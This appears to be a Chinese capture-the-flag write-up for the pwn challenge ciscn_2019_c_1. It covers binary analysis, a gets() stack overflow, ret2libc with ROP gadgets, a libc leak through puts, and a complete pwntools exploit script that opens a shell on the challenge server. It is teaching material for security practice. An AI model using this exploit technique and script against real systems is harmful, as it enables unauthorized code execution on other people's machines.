1.使用checksec命令查看文件的保护机制开启情况:
checksec --file=./ciscn_2019_c_1

显示除了NX保护均未开启或完全启用 ,而NX开启说明数据区域(如栈、堆)不可执行,是防止将 shellcode 写入数据区后跳转执行,所以可优先考虑不利用shellcode注入的方式寻找漏洞。
2.利用IDA静态分析:

main函数中出现了scanf,但输入的v4只是作为后续的判断条件,并无利用价值。同时还存在encrypt() 和 begin() 的调用,对其进行分析:
begin 函数仅作为菜单使用,且结合main函数可知,程序运行后输入 1 才可进一步跳转至 encrypt 函数(从gdb调试结果也可得出)
从gdb调试结果以及encrypt函数伪代码可知encrypt函数的功能是实现对输入字符串的加密。

而在encrypt函数中可以发现 gets 这个危险函数的调用,且搭配的是偏移量为 5*16 + 8 的数组s,这就提示了栈溢出的漏洞。
但使用Shift + F12组合键显示出的关键字符串中并不存在system函数以及/bin/sh指令这些后门函数,所以此题需要使用ret2libc技术解题。
3.编写python脚本——步骤拆解:
经过以上分析,对于此适配于64位环境的程序,通过泄露libc中puts函数的地址(此程序本身存在较多puts函数的使用),计算出libc基址,进而定位system和/bin/sh的地址,最终执行system("/bin/sh")。
步骤1: 泄露libc地址
-
目标:调用
puts(puts_got)输出puts的真实地址。 -
所需地址(通过IDA或工具获取):
-
puts_plt:plt表中的地址(用于调用puts)——获取命令:put_plt = elf.plt['puts'] -
puts_got:got表中的地址(存放puts的真实地址)——获取命令:put_got = elf.got['puts'] -
pop_rdi:gadget地址(用于64位传参,第一个参数放RDI)——获取命令:// 利用ROPgadget工具查找 ROPgadget --binary ./ciscn_2019_c_1 | grep "pop rdi"
-
main_addr:main函数地址(用于程序重启进行第二次溢出)——获取命令:main_addr = elf.symbols['main']
-
-
Payload构造:
为了顺利实现栈溢出与地址覆盖,在encrypt函数中便需要跳过加密的步骤:可以利用v0 >= strlen(s)这个条件实现——
strlen遇到 '\0' 终止,后续数据不被处理offset = 5*16 + 8 # 偏移量计算 payload1 = b'\0' + b'A' * (offset - 1) # 填充88字节(开头\0绕过加密占1字节) payload1 += p64(pop_rdi) + p64(puts_got) # 参数:puts_got地址 payload1 += p64(puts_plt) # 调用puts(puts_got) payload1 += p64(main_addr) # 返回main函数 -
接收泄露地址:
r.recvuntil(b'\x7f') # 接收输出,直到遇到libc地址典型特征(如0x7f开头) puts_addr = u64(r.recv(6).ljust(8, b'\x00')) # 解析地址
步骤2: 计算libc基址和关键地址
-
使用LibcSearcher或题目提供的libc文件确定libc版本:
from LibcSearcher import * # 引入LibcSearcher库 libc = LibcSearcher('puts', puts_addr) # 根据泄露地址匹配libc版本 # libc基地址 = 函数函数实际地址 - 偏移量 # 函数实际地址 = libc基地址 + 偏移量 libc_base = puts_addr - libc.dump('puts') # 计算libc基地址 system_addr = libc_base + libc.dump('system') # 计算system函数地址 bin_sh_addr = libc_base + libc.dump('str_bin_sh') # 计算/bin/sh指令地址
——LibcSearcher 不是 pwntools 自带的库,而是一个需要单独安装的 Python 第三方库。
-
作用:在不知道目标服务器具体使用哪个版本 libc 的情况下,LibcSearcher 可以根据你泄露的函数地址(如
puts_addr),在它内置的 libc 数据库中查询匹配的 libc 版本。一旦找到匹配的版本,它就可以提供该 libc 版本中其他函数(如system)和字符串(如/bin/sh)相对于 libc 基地址的偏移量。 - 安装方法:
pip install LibcSearcher
——libc.dump 的作用
libc.dump是 LibcSearcher 库提供的功能(同样,非 pwntools 自带),用于从匹配的 libc 版本中获取特定函数或字符串的偏移量。
-
作用:当你使用 LibcSearcher 找到匹配的 libc 版本后,可以通过
libc.dump('<函数名或符号名>')来查询该符号在 libc 中的偏移量。结合泄露的地址和偏移,就能计算出实际地址。
步骤3: 执行system("/bin/sh")
-
Payload构造:
payload2 = b'\0' + b'A' * (offset - 1) # 同样填88字节,并绕过加密 payload2 += p64(pop_rdi) + p64(bin_sh_addr) # 参数:/bin/sh地址 payload2 += p64(system_addr) # 调用system -
栈对齐问题:64位系统可能需在
system前加retgadget确保栈对齐:ret_addr = 0x4006b9 # 通过ROPgadget查找 payload2 += p64(ret_addr) + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)

【在 x86-64 系统架构中,许多指令(特别是 SSE 指令集)要求内存操作数在 16 字节对齐的地址上。虽然 system函数的调用本身不一定需要栈对齐,但某些系统调用或库函数在内部可能会使用这些指令,如果栈指针(rsp)在调用时未满足 16 字节对齐,就可能引发程序崩溃】
4.编写python脚本——完整脚本:
from pwn import *
from LibcSearcher import *
r = remote("node5.buuoj.cn", 29100)
elf = ELF("./ciscn_2019_c_1") # 创建elf对象
r.sendlineafter("Input your choice!\n",b'1') # 发送1进入encrypt函数
# 获取关键地址
pop_rdi = 0x0000000000400c83
put_plt = elf.plt['puts']
put_got = elf.got['puts']
main_addr = elf.symbols['main']
# 第一次溢出:泄露puts地址
offset = 5*16 + 8
payload = b'\0' + b'a' * (offset - 1) + p64(pop_rdi) + p64(put_got) + p64(put_plt) + p64(main_addr)
r.sendlineafter("Input your Plaintext to be encrypted\n",payload)
# 接收泄露的地址
puts_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# r.recvline()
# r.recvline()
# puts_addr = u64(r.recv(6).ljust(8,b'\x00'))
print("puts_addr: "+hex(puts_addr))
# 计算libc基址和system、/bin/sh地址
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
ret_addr = 0x00000000004006b9
# 第二次溢出:执行system("/bin/sh")
r.sendlineafter("Input your choice!\n",b'1')
payload2 = b'\0' + b'a' * (offset - 1) + p64(ret_addr) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
r.sendlineafter("Input your Plaintext to be encrypted\n",payload2)
r.interactive()
5.流程剖析
1.ret2libc 完整攻击流程与栈帧变化 (64位)
阶段一:泄露 libc 地址
目标:调用 puts(puts_got),打印出 puts函数在内存中的真实地址。
-
构造第一次溢出 Payload:
payload1 = b'\0' + b'A'* (offset-1) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr) -
发送 payload1 前栈帧状态 (
encrypt函数返回前):+------------------------+ | ... (higher addresses) | +------------------------+ | main_addr (返回地址) | <- RSP 指向返回地址 +------------------------+ | saved RBP | +------------------------+ | 'A' * (offset-1) | +------------------------+ | \0 | <- 变量 s 的起始地址 +------------------------+当
encrypt函数执行ret指令时,会从栈顶弹出返回地址 (main_addr) 并跳转执行。但通过溢出,我们覆盖了返回地址,使其变为pop_rdi_ret的地址。 -
执行
pop rdi; retgadget:-
pop rdi:从栈中弹出下一个值 (puts_got) 存入 RDI 寄存器。 -
ret:从栈顶弹出下一个地址 (puts_plt) 并跳转执行。 -
此时栈帧变化:
(执行 pop rdi 后) +------------------------+ | puts_plt | <- RSP +------------------------+ | main_addr | +------------------------+ | saved RBP | +------------------------+ | 'A' * (offset-1) | +------------------------+ | \0 | +------------------------+
-
-
执行
puts@plt:-
跳转到
puts的 PLT 条目执行。 -
puts函数从 RDI 寄存器获取参数(puts_got地址),打印该地址内存放的值(即puts的真实地址)。 -
puts函数返回时,从其栈帧中弹出返回地址 (main_addr) 并跳转回main函数。
-
-
接收泄露的地址:
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-
接收程序输出,直到遇到典型的 libc 地址特征字节
\x7f。-
取最后 6 个字节(因为 64 位地址通常以
【该命令可等效为 r.recvline()0x7f开头,后面跟随 5 个字节),并用\x00填充至 8 字节,转换为整数。
r.recvline()
puts_addr = u64(r.recv(6).ljust(8,b'\x00')):特性
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))puts_addr = u64(r.recv(6).ljust(8,b'\x00'))原理
接收数据直到遇到
\x7f,然后取最后6个字节,填充为8字节后解析直接接收6个字节,填充为8字节后解析
可靠性
高。通过
recvuntil定位到地址附近的特征字节,能有效避免接收过程中的数据干扰。较低。直接写死接收长度,若输出流中目标地址前还有其他数据,极易接收错误。
适用场景
推荐通用。尤其在泄露的libc地址以
0x7f开头时(64位系统常见)非常稳定。不推荐。仅在手头有确切偏移、能确保接收位置绝对正确时可能有效,但风险较高。
优点
智能定位,抗干扰能力强。
代码简短。
缺点
需确保地址以
\x7f开头。极其脆弱,输出内容或长度稍有变化就会失败。
在漏洞利用中,程序输出可能包含各种信息(如菜单文本、"Ciphertext"提示等)。
recvuntil(b'\x7f')的作用是跳过这些无关输出,直接定位到泄露地址的起始特征处(64位libc地址通常以0x7f开头)。[-6:]是因为我们定位到的是\x7f这个字节本身,而64位地址是8字节,\x7f之后通常还有5个字节,加上\x7f本身共6字节,这6字节构成了地址的主要部分(地址的低6字节)。之后的.ljust(8, b'\x00')是为了补齐8字节并适应小端序解析。而
r.recv(6)盲目地收取6个字节,如果在这6个字节之前程序还输出了其他字符(很常见),那么你收到的就是错误的数据,导致后续计算全部失败。所以常需要搭配recvline()使用】
-
-
-
计算 libc 基址和关键地址:
libc_base = puts_addr - libc.symbols['puts']system_addr = libc_base + libc.symbols['system']bin_sh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))
阶段二:执行 system("/bin/sh")
目标:计算得到 system和 /bin/sh的地址后,构造第二次溢出获取 shell。
-
构造第二次溢出 Payload:
payload2 = b'\x00' + b'A'*55 + p64(ret_addr) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr) -
发送 payload2 前栈帧状态 (再次进入
encrypt函数返回前):+------------------------+ | ... (higher addresses) | +------------------------+ | system_addr | <- 如果没有栈对齐,RSP 可能未16字节对齐 +------------------------+ | bin_sh_addr | +------------------------+ | pop_rdi_ret | +------------------------+ | ret_addr | <- 插入的ret gadget地址 +------------------------+ | 'A' * (offset-1) | +------------------------+ | \0 | +------------------------+ -
执行流程与栈帧变化:
-
encrypt函数ret后,跳转到ret_addr(我们插入的retgadget)。 -
执行
ret(gadget):从栈顶弹出下一个地址 (pop_rdi_ret) 到 RIP,RSP下移 8 字节。此操作调整了RSP。(执行第一个 ret gadget 后) +------------------------+ | pop_rdi_ret | <- RSP (此时RSP很可能已16字节对齐) +------------------------+ | bin_sh_addr | +------------------------+ | system_addr | +------------------------+ | ... | +------------------------+ -
执行
pop rdi; ret:-
pop rdi:弹出bin_sh_addr到 RDI 寄存器(system的参数)。 -
ret:弹出system_addr到 RIP,跳转执行system函数。
-
-
执行
system:此时 RDI 寄存器已包含参数/bin/sh的地址,system函数得以正确执行system("/bin/sh"),启动 shell。
-
2. pop rdi; ret执行时栈和寄存器的变化详解
初始状态(即将执行 pop rdi)
在 pop rdi指令即将执行但还未执行时,栈和寄存器的状态如下:
| 寄存器 | 值 | 说明 |
|---|---|---|
|
|
| 指向 |
|
|
| 指向栈顶,即 |
此时的栈帧布局:
(低地址) (高地址)
+-------------------------------+
| ... |
+-------------------------------+ <-- 之前栈帧
| 返回地址 (main_addr) | <- 后续返回地址
+-------------------------------+
| puts_plt 的地址 | <- 调用 puts 函数
+-------------------------------+
| puts_got 的地址 | <- 即将被 pop 到 RDI (RSP 当前指向这里!)
+-------------------------------+ <-- RSP 指向栈顶 0x7fffffffdc00
| pop_rdi_ret 的地址 | <- RIP 指向这里 (0x400c83)
+-------------------------------+
| 保存的 RBP |
+-------------------------------+
| 填充数据 ('A'*offset-1) |
+-------------------------------+
| 起始的 '\0' |
+-------------------------------+
此时的栈变化:
执行pop rdi时:
1. 操作:`pop rdi` 指令从 `RSP` 当前指向的栈顶(`0x7fffffffdc00`)**弹出** 8 个字节的数据(即 `puts_got` 的地址)。
2. 效果:
* 弹出的值(`puts_got` 的地址)被存入 `RDI` 寄存器。**这是为后续函数调用准备第一个参数的关键步骤**。
* `RSP` (栈指针) 会自动 `+8`(在 x86-64 中,栈向低地址增长,`pop` 操作使 `RSP` 向高地址移动),指向下一个栈单元(即 `puts_plt` 的地址)。
* `RIP` 指向下一条指令(`ret`)。
| 寄存器 | 变化后的值 | 说明 |
| :--- | :-------------- | :--------------------------------------------------- |
| `RDI` | `0x601018` | 存储了 `puts_got` 的地址(函数参数) |
| `RSP` | `0x7fffffffdc08` | **+8**, 现在指向 `puts_plt` 的地址 |
| `RIP` | `0x400c84` | 指向 `ret` 指令(`pop rdi; ret` gadget 中的下一条指令)|
此时的栈帧布局:
... (之前的栈帧不变) ...
+-------------------------------+
| 返回地址 (main_addr) |
+-------------------------------+
| puts_plt 的地址 | <- RSP 现在指向这里 (0x7fffffffdc08)
+-------------------------------+
| puts_got 的地址 | <- 已被弹出至 RDI (原位置数据未被清除,但已失效)
+-------------------------------+ <-- RSP 曾指向这里 (0x7fffffffdc00)
| pop_rdi_ret 的地址 |
+-------------------------------+
... (更低地址的栈数据不变) ...
执行 `ret` 指令:
1. 操作:`ret` 指令从 `RSP` 当前指向的栈顶(`0x7fffffffdc08`)弹出 8 个字节的数据(即 `puts_plt` 的地址)。
2. 效果:
* 弹出的值(`puts_plt` 的地址)被存入 `RIP` 指令指针寄存器。程序的控制流由此被劫持,跳转到 `puts` 函数执行。
* `RSP` 再次自动 `+8`,指向下一个栈单元(即 `main_addr`)。
* 此时 `pop rdi; ret` gadget 执行完毕。
| 寄存器 | 变化后的值 | 说明 |
| :--- | :-------------- | :-------------------------------- |
| `RIP` | `0x400520` | 指向 `puts@plt`,即将调用 puts 函数 |
| `RSP` | `0x7fffffffdc10` | **+8**, 现在指向 `main_addr` |
| `RDI` | `0x601018` | 保持不变(存放着参数 puts_got) |
此时的栈变化:
... (之前的栈帧不变) ...
+-------------------------------+
| 返回地址 (main_addr) | <- RSP 现在指向这里 (0x7fffffffdc10)
+-------------------------------+
| puts_plt 的地址 | <- 已被弹出至 RIP (原位置数据失效)
+-------------------------------+ <-- RSP 曾指向这里 (0x7fffffffdc08)
| puts_got 的地址 |
+-------------------------------+ <-- RSP 曾指向这里 (0x7fffffffdc00)
| pop_rdi_ret 的地址 |
+-------------------------------+
... (更低地址的栈数据不变) ...
后续流程:
`ret` 指令执行后,程序跳转到 `puts` 函数。`puts` 函数会从 **`RDI`** 寄存器中取出其参数(即 `puts_got` 的地址),打印出该地址内存放的值(也就是 `puts` 函数在 libc 中的真实地址)。当 `puts` 函数执行完毕返回时,它会从当前 `RSP` 指向的位置(`0x7fffffffdc10`,即 `main_addr`)弹出返回地址,从而返回到 `main` 函数,为第二次溢出创造条件。
3.在64位系统中,为什么需要pop rdi这样的gadget来传递参数,而不能直接通过栈传递?
在64位系统中,参数传递的规则与32位系统有根本性的不同,这直接决定了我们不能像在32位系统中那样,通过栈来直接传递参数。下面这个表格清晰地对比了这两种架构在参数传递和ROP利用上的核心差异:
| 特性 | 32位系统 | 64位系统 (Linux System V AMD64 ABI) |
|---|---|---|
| 参数传递方式 | 所有参数均通过栈传递 | 前6个整型/指针参数通过寄存器传递 (RDI, RSI, RDX, RCX, R8, R9),多余参数才通过栈传递 |
| ROP中参数位置 | 参数直接放置在函数地址之后的栈上 | 参数必须先放入指定的寄存器 |
| 是否需要gadget | 通常不需要 | 必须使用 |
| 典型ROP链 |
|
|
核心原因:调用约定 (Calling Convention)
在64位Linux系统遵循的System V AMD64 ABI调用约定中,函数的前6个整型或指针参数是通过寄存器传递的,而不是栈。具体来说:
-
第1个参数 → RDI
-
第2个参数 → RSI
-
第3个参数 → RDX
-
第4个参数 → RCX
-
第5个参数 → R8
-
第6个参数 → R9
只有当参数超过6个时,多出的部分才会通过栈来传递。因此,像 system("/bin/sh")这样的单参数函数,其参数 必须 被放置在 RDI 寄存器中。
ROP利用中的挑战与解决方案
在栈溢出攻击中,我们虽然能控制栈上的数据,但无法直接控制寄存器的值。这时,pop rdi这个gadget就起到了桥梁的作用:
-
pop rdi指令会从栈顶弹出下一个值(也就是我们精心放置在栈上的参数地址,例如/bin/sh的地址),并将其存入RDI寄存器。 -
紧随其后的
ret指令会再次从栈顶弹出下一个值(我们放置的system函数地址),并跳转执行。
这样,当CPU开始执行system函数时,它所需的参数(/bin/sh的地址)已经正确地存在于RDI寄存器中了。
4.使用 LibcSearcher时返回了多个候选的 libc 版本:

为何会出现多个选项?
LibcSearcher的工作原理是:它拥有一个包含了大量不同版本 libc 的数据库。当你给它一个泄露的函数地址(比如 puts函数的实际地址),它会在数据库中查找所有在相同偏移量位置存有该函数的 libc 版本。
由于不同发行版、不同版本的 libc 库中,同一个函数的偏移量有可能相同或非常接近,因此单一的函数地址很可能无法唯一确定一个libc。这就导致了工具返回多个匹配结果,让你自行选择。
如何选择?通常选哪个?
面对多个选项,选择的核心原则是:优先选择与目标环境(题目环境)最匹配的版本。
CTF题目最常用的libc版本通常基于 Ubuntu 发行版。因此,在此题列表中,名称中包含 ubuntu的选项通常是首选。
| 选项编号 | Libc 版本标识 | 建议优先级 | 理由 |
|---|---|---|---|
| 0 | libc6_2.27-0ubuntu2_amd64 | ⭐⭐⭐⭐ | Ubuntu,且2.27是常见版本 |
| 2 | libc6_2.19-0ubuntu6.5_amd64 | ⭐⭐⭐ | Ubuntu,但版本较老 (2.19) |
| 3 | libc6_2.27-3ubuntu1_amd64 | ⭐⭐⭐⭐ | Ubuntu,2.27系列另一个版本 |
| 5 | libc6_2.37-0ubuntu1_amd64 | ⭐⭐⭐ | Ubuntu,但版本较新 (2.37) |
| 6 | libc6_2.27-0ubuntu3_amd64 | ⭐⭐⭐⭐ | Ubuntu,2.27系列另一个版本 |
| 1, 4, 7, 8, 9 | Fedora (fc33) 或 Mageia (mga9) 等 | ⭐⭐ | 非Ubuntu主流发行版,除非题目明确提示,否则概率较低 |
操作建议:
-
优先尝试 Ubuntu 选项:从列表中的
0,3,6(都是 Ubuntu 2.27 系列) 开始尝试。2.27 是 CTF 题目中非常经典的 libc 版本,可以优先选择它们(比如先选0)。 -
验证与调试:
-
选择后,
LibcSearcher会计算出system、/bin/sh等地址。运行你的漏洞利用脚本(EXP)。 -
如果成功获取了 shell,恭喜你,选对了!
-
如果攻击没有成功(例如程序崩溃、没弹出shell),很可能是因为选择的 libc 版本与实际目标不符。这时你需要重新运行脚本,并尝试另一个 Ubuntu 的选项(比如从
0换成3或6)。
-
-
利用题目信息:如果题目提供了
libc.so.6文件,直接用strings命令查看其版本信息是最准确的方式:strings ./libc.so.6 | grep "GNU C Library" -
“试错”也是正常过程:在无法确定唯一版本时,按可能性高低逐一尝试是 CTF 竞赛中的常见做法。
6.获取flag
我们通过system调用的是 "/bin/sh" ,仅让我们获取了控制权,所以我们需要搭配 ls(显示子目录)和 cat(读取)命令获取flag


492

被折叠的 条评论
为什么被折叠?



